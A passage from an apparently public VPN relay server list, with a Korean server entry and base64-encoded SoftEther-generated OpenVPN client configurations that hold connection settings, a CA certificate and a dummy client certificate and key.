jIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxMjYuNzkuNjcuMjM0IDEzMDQNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +vpn274083876,211.51.111.68,642981,32,323942875,Korea Republic of,KR,2,82061195,272557,27343592955154,2weeks,PsiKi-Laptop's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAyMTEuNTEuMTExLjY4IDE2OTgNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI